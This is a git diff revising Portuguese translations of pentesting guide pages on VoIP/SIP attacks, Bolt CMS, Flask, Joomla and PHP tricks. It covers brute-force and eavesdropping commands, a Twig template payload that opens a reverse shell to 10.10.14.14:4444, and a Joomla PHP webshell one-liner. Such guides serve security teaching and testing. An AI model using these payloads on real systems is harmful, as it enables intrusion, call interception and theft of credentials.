`svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista dada de extensões**. +- **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista específica de extensões**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` -- **`SIPPTS exten`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifica extensões em um servidor SIP. Sipexten pode verificar grandes redes e intervalos de portas. +- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifica extensões em um servidor SIP. Sipexten pode verificar grandes redes e intervalos de portas. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` -- **metasploit**: Você também pode enumerar extensões/nomes de usuário com metasploit: +- **metasploit**: Você também pode enumerar extensões/nome de usuários com metasploit: ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) @@ -263,7 +262,7 @@ enumiax -v -m3 -M3 10.10.0.10 ### Força Bruta de Senha - online -Tendo descoberto o **PBX** e alguns **números de ramal/nome de usuário**, uma equipe vermelha poderia tentar **autenticar via o método `REGISTER`** em um ramal usando um dicionário de senhas comuns para realizar a força bruta na autenticação. +Tendo descoberto o **PBX** e alguns **números de ramal/nome de usuário**, uma equipe vermelha pode tentar **autenticar via o método `REGISTER`** em um ramal usando um dicionário de senhas comuns para realizar a força bruta na autenticação. > [!CAUTION] > Note que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e as preferências da organização... @@ -285,7 +284,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### Sniffing VoIP -Se você encontrar equipamentos VoIP dentro de uma **rede Wifi aberta**, você pode **capturar todas as informações**. Além disso, se você estiver dentro de uma rede mais fechada (conectada via Ethernet ou Wifi protegido), você pode realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para capturar as informações. +Se você encontrar equipamentos VoIP dentro de uma **rede Wifi aberta**, você pode **capturar todas as informações**. Além disso, se você estiver dentro de uma rede mais fechada (conectada via Ethernet ou Wifi protegido), você pode realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) entre o **PBX e o gateway** para capturar as informações. Entre as informações da rede, você pode encontrar **credenciais da web** para gerenciar o equipamento, **ramais** de usuário, **nome de usuário**, endereços **IP**, até mesmo **senhas hash** e **pacotes RTP** que você pode reproduzir para **ouvir a conversa**, e mais. @@ -297,18 +296,18 @@ Para obter essas informações, você pode usar ferramentas como Wireshark, tcpd #### Credenciais SIP (Brute-Force de Senha - offline) -[Verifique este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais estão sendo enviadas**. +[Confira este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais estão sendo enviadas**. -- **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforce** elas. +- **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforçar** elas. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` -- **`SIPPTS dump`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS dump pode extrair autenticações digest de um arquivo pcap. +- **`SIPPTS dump`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O dump do SIPPTS pode extrair autenticações digest de um arquivo pcap. ```bash sippts dump -f capture.pcap -o data.txt ``` -- **`SIPPTS dcrack`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack é uma ferramenta para quebrar as autenticações digest obtidas com o dump do SIPPTS. +- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack é uma ferramenta para quebrar as autenticações digest obtidas com o dump do SIPPTS. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` @@ -330,19 +329,19 @@ No Asterisk, é possível permitir uma conexão **de um endereço IP específico host=10.10.10.10 host=dynamic ``` -Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de vez em quando (no pacote REGISTER é enviado o tempo de vida, geralmente 30min, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30 minutos). No entanto, ele precisará ter portas abertas permitindo conexões do servidor VoIP para receber chamadas. +Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de vez em quando (no pacote REGISTER é enviado o tempo de vida, geralmente 30min, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30min). No entanto, ele precisará ter portas abertas permitindo conexões do servidor VoIP para receber chamadas. Para definir usuários, eles podem ser definidos como: - **`type=user`**: O usuário pode apenas receber chamadas como usuário. -- **`type=friend`**: É possível realizar chamadas como par e recebê-las como usuário (usado com extensões) -- **`type=peer`**: É possível enviar e receber chamadas como par (SIP-trunks) +- **`type=friend`**: É possível realizar chamadas como par e recebê-las como usuário (usado com extensões). +- **`type=peer`**: É possível enviar e receber chamadas como par (SIP-trunks). Também é possível estabelecer confiança com a variável insegura: - **`insecure=port`**: Permite conexões de pares validadas por IP. -- **`insecure=invite`**: Não requer autenticação para mensagens INVITE -- **`insecure=port,invite`**: Ambos +- **`insecure=invite`**: Não requer autenticação para mensagens INVITE. +- **`insecure=port,invite`**: Ambos. > [!WARNING] > Quando **`type=friend`** é usado, o **valor** da variável **host** **não será usado**, então se um administrador **configurar incorretamente um SIP-trunk** usando esse valor, **qualquer um poderá se conectar a ele**. @@ -381,7 +380,7 @@ include => my_context include => external ``` > [!WARNING] -> Qualquer pessoa poderá usar o **servidor para ligar para qualquer outro número** (e o administrador do servidor pagará pela chamada). +> Qualquer um poderá usar o **servidor para ligar para qualquer outro número** (e o administrador do servidor pagará pela chamada). > [!CAUTION] > Além disso, por padrão, o arquivo **`sip.conf`** contém **`allowguest=true`**, então **qualquer** atacante sem **autenticação** poderá ligar para qualquer outro número. @@ -398,12 +397,12 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Chamadas gratuitas / IVRS mal configurados -IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite que os usuários interajam com um sistema computadorizado por meio de entradas de voz ou toque. O IVRS é usado para construir sistemas de **manipulação automatizada de chamadas** que oferecem uma variedade de funcionalidades, como fornecer informações, direcionar chamadas e capturar entradas do usuário. +IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite que os usuários interajam com um sistema computadorizado por meio de entradas de voz ou tom de toque. O IVRS é usado para construir sistemas de **manipulação de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, direcionar chamadas e capturar entradas do usuário. O IVRS em sistemas VoIP geralmente consiste em: -1. **Mensagens de voz**: Mensagens de áudio pré-gravadas que orientam os usuários através das opções e instruções do menu IVR. -2. **DTMF** (Dual-Tone Multi-Frequency) sinalização: Entradas de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus IVR e fornecer entradas. +1. **Mensagens de voz**: Mensagens de áudio pré-gravadas que orientam os usuários através das opções do menu IVR e instruções. +2. **DTMF** (Dual-Tone Multi-Frequency) sinalização: Entradas de tom de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus IVR e fornecer entradas. 3. **Roteamento de chamadas**: Direcionar chamadas para o destino apropriado, como departamentos específicos, agentes ou ramais com base na entrada do usuário. 4. **Captura de entrada do usuário**: Coletar informações dos chamadores, como números de conta, IDs de caso ou quaisquer outros dados relevantes. 5. **Integração com sistemas externos**: Conectar o sistema IVR a bancos de dados ou outros sistemas de software para acessar ou atualizar informações, realizar ações ou acionar eventos. @@ -418,8 +417,8 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` -O anterior é um exemplo onde o usuário é solicitado a **pressionar 1 para chamar** um departamento, **2 para chamar** outro, ou **o número completo** se souber.\ -A vulnerabilidade é o fato de que o **comprimento da extensão indicado não é verificado, então um usuário poderia inserir o tempo limite de 5 segundos de um número completo e ele será chamado.** +O anterior é um exemplo onde o usuário é solicitado a **pressionar 1 para chamar** um departamento, **2 para chamar** outro, ou **o número completo** se ele souber.\ +A vulnerabilidade é o fato de que o **comprimento da extensão indicada não é verificado, então um usuário poderia inserir o timeout de 5 segundos um número completo e ele será chamado.** ### Injeção de Extensão @@ -487,7 +486,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - O perfil anterior está permitindo **QUALQUER endereço IP se conectar** (se a senha for conhecida). -- Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e **apenas** **origem** em **escrita** é necessária. +- Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e **apenas** **originar** em **gravação** é necessário. Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair informações demais, como: ```bash @@ -498,9 +497,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ### **Escuta** -No Asterisk, é possível usar o comando **`ChanSpy`** indicando a(s) **extensão(ões) a serem monitoradas** (ou todas elas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão. +No Asterisk, é possível usar o comando **`ChanSpy`** indicando a **(s) extensão (ões) a serem monitoradas** (ou todas elas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão. -Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ela irá **monitorar** **`todas`** as extensões, **começar a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir. Você pode alternar de uma conversa para outra pressionando **`*`**, ou discando o número da extensão. +Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ele irá **monitorar** **`todas`** as extensões, **começar a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir. Você pode alternar de uma conversa para outra pressionando **`*`**, ou marcando o número da extensão. Também é possível usar **`ExtenSpy`** para monitorar apenas uma extensão. @@ -520,27 +519,27 @@ exten => h,1,System(/tmp/leak_conv.sh &) **RTCPBleed** é um problema de segurança significativo que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o **tráfego RTP (Real Time Protocol)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao navegar através de firewalls NAT (Network Address Translation). -Proxies RTP tentam abordar as **limitações do NAT** que afetam sistemas RTC, fazendo proxy de fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP recuperadas através da sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo onde tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não faz uso de qualquer tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP proxy que deveria ser destinado ao chamador ou chamado de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que atacantes recebam fluxos de mídia RTP destinados a serem enviados a usuários legítimos. +Proxies RTP tentam resolver as **limitações do NAT** que afetam sistemas RTC, fazendo proxy de streams RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP recuperadas através da sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo onde tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não faz uso de qualquer tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP proxy que deveria ser destinado ao chamador ou atendente de um stream RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que atacantes recebam streams de mídia RTP destinados a usuários legítimos. -Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles **aceitarão, encaminharão e/ou processarão pacotes RTP de qualquer fonte**. Portanto, atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em endpoints. +Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles **aceitarão, encaminharão e/ou processarão pacotes RTP de qualquer fonte**. Portanto, atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em streams RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em endpoints. Asterisk e FreePBX tradicionalmente usaram a **configuração `NAT=yes`**, que permite que o tráfego RTP contorne a autenticação, potencialmente levando a nenhuma áudio ou áudio unidirecional em chamadas. Para mais informações, consulte [https://www.rtpbleed.com/](https://www.rtpbleed.com/) -- **`SIPPTS rtpbleed`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecta a vulnerabilidade RTP Bleed enviando fluxos RTP. +- **`SIPPTS rtpbleed`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecta a vulnerabilidade RTP Bleed enviando streams RTP. ```bash sippts rtpbleed -i 10.10.0.10 ``` -- **`SIPPTS rtcpbleed`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecta a vulnerabilidade RTP Bleed enviando streams RTCP. +- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecta a vulnerabilidade RTP Bleed enviando streams RTCP. ```bash sippts rtcpbleed -i 10.10.0.10 ``` -- **`SIPPTS rtpbleedflood`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS rtpbleedflood explora a vulnerabilidade RTP Bleed enviando streams RTP. +- **`SIPPTS rtpbleedflood`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood explora a vulnerabilidade RTP Bleed enviando streams RTP. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` -- **`SIPPTS rtpbleedinject`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS rtpbleedinject explora a vulnerabilidade RTP Bleed injetando um arquivo de áudio (formato WAV). +- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject explora a vulnerabilidade RTP Bleed injetando um arquivo de áudio (formato WAV). ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` @@ -571,7 +570,7 @@ Há um comando chamado **`Shell`** que pode ser usado **em vez de `System`** par ### Injeção RTP -É possível inserir um **`.wav`** em conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`). +É possível inserir um **`.wav`** nas conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`). Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) para **escanear conversas** (**`rtpscan.pl`**), enviar um `.wav` para uma conversa (**`rtpsend.pl`**) e **inserir ruído** em uma conversa (**`rtpflood.pl`**). @@ -585,8 +584,8 @@ Existem várias maneiras de tentar alcançar DoS em servidores VoIP. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocolo IAX usado pelo Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar flooding de mensagens SIP/SDP INVITE sobre UDP/IP. -- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário conhecer as portas RTP que estão sendo usadas (sniff primeiro). -- [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então também pode ser usado para DoS. +- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (sniff primeiro). +- [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então pode ser usado para DoS também. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Canivete suíço SIP. Também pode ser usado para realizar ataques SIP. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). diff --git a/src/network-services-pentesting/pentesting-web/bolt-cms.md b/src/network-services-pentesting/pentesting-web/bolt-cms.md index 030844f37..0066e989f 100644 --- a/src/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/src/network-services-pentesting/pentesting-web/bolt-cms.md @@ -12,9 +12,9 @@ Após fazer login como admin (vá para /bot para acessar o prompt de login), voc
- Selecione `File management` -> `View & edit templates` -- Selecione o tema base encontrado no passo anterior (`base-2021` neste caso) e selecione `index.twig` +- Selecione a base do tema encontrada no passo anterior (`base-2021` neste caso) e selecione `index.twig` - No meu caso, isso está no caminho da URL /bolt/file-edit/themes?file=/base-2021/index.twig -- Defina seu payload neste arquivo via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), como: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` +- Defina seu payload neste arquivo via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php), como: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` - E salve as alterações
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 64d3239d0..93ab62238 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -6,7 +6,7 @@ ## Cookies -O nome padrão da sessão do cookie é **`session`**. +O nome padrão da sessão de cookie é **`session`**. ### Decoder @@ -22,7 +22,7 @@ O cookie também é assinado usando uma senha ### **Flask-Unsign** -Ferramenta de linha de comando para buscar, decodificar, realizar força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas. +Ferramenta de linha de comando para buscar, decodificar, forçar e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas. {{#ref}} https://pypi.org/project/flask-unsign/ @@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p ``` ### SQLi em cookie de sessão Flask com SQLmap -[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) usa a opção `eval` do sqlmap para **assinar automaticamente os payloads do sqlmap** para Flask usando um segredo conhecido. +[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) usa a opção `eval` do sqlmap para **assinar automaticamente os payloads do sqlmap** para Flask usando um segredo conhecido. ## Proxy Flask para SSRF diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index d8af36260..00be4b89e 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -5,7 +5,7 @@ ### Estatísticas do Joomla -O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e dos sistemas de banco de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública. +O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e bancos de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública. ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool @@ -71,7 +71,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator ```bash droopescan scan joomla --url http://joomla-site.local/ ``` -Em[ **80,443 - A Metodologia de Pentesting Web é uma seção sobre scanners de CMS**](./#cms-scanners) que podem escanear Joomla. +Em[ **80,443 - A metodologia de pentesting web é uma seção sobre scanners de CMS**](#cms-scanners) que podem escanear Joomla. ### Divulgação de Informações Não Autenticadas da API: @@ -84,7 +84,7 @@ Versões de 4.0.0 a 4.2.7 são vulneráveis à divulgação de informações nã ### Força Bruta -Você pode usar este [script](https://github.com/ajnik/joomla-bruteforce) para tentar realizar um ataque de força bruta no login. +Você pode usar este [script](https://github.com/ajnik/joomla-bruteforce) para tentar forçar o login. ```shell-session sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin @@ -92,11 +92,11 @@ admin:admin ``` ## RCE -Se você conseguiu obter **credenciais de admin**, pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**. +Se você conseguiu obter **credenciais de admin**, você pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**. 1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates. 2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**. -3. Finalmente, você pode clicar em uma página para abrir o **código fonte**. Vamos escolher a página **`error.php`**. Vamos adicionar um **PHP one-liner para ganhar execução de código** da seguinte forma: +3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Vamos adicionar um **PHP one-liner para ganhar execução de código** da seguinte forma: 1. **`system($_GET['cmd']);`** 4. **Salvar & Fechar** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 2d21514df..f059a0027 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -32,10 +32,10 @@ Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.ph {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} - `"string" == 0 -> True` Uma string que não começa com um número é igual a um número -- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números) -- `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida de qualquer coisa será igual a 0 -- `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida de qualquer letra (X pode ser qualquer letra) e seguida de qualquer coisa será igual a 0 -- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string de "0" e algum conteúdo que está sendo hashado e comparado a isso. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato decimal ou hexadecimal podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números) +- `"0e3264578" == 0 --> True` Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0 +- `"0X3264578" == 0X --> True` Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0 +- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0 Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -73,7 +73,7 @@ Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **compara #### Bypass de nova linha -No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, poderá contornar essa verificação. Exemplo: +No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você poderá contornar essa verificação. Exemplo: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -119,7 +119,7 @@ Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retroces ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Manipulação de Tipos para ofuscação em PHP +### Type Juggling para ofuscação em PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -132,7 +132,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo: +Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continuará executando e anexando os dados ao corpo: ```php ``` -## Exploração de Traversal de Caminho e Inclusão de Arquivos +## Exploração de Path Traversal e Inclusão de Arquivos Verifique: @@ -153,9 +153,9 @@ Verifique: ## Mais truques - **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código. -- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\ +- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\ Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2). -- Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados. +- Quando você tiver os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados. - [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify @@ -169,11 +169,11 @@ False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` -### Bypass de cabeçalhos HTTP abusando de erros do PHP +### HTTP headers bypass abusando de erros do PHP #### Causando erro após definir cabeçalhos -A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta. +Do [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta. Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como: ```php @@ -202,7 +202,7 @@ php-ssrf.md &#xNAN;**\`ls\`;**\ **shell_exec("ls");** -[Confira isso para mais funções PHP úteis](php-useful-functions-disable_functions-open_basedir-bypass/) +[Verifique isso para mais funções PHP úteis](php-useful-functions-disable_functions-open_basedir-bypass/) ### **RCE via** **preg_replace()** ```php @@ -272,16 +272,16 @@ Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wire ### RCE via Variáveis de Ambiente -Se você encontrar uma vulnerabilidade que permite 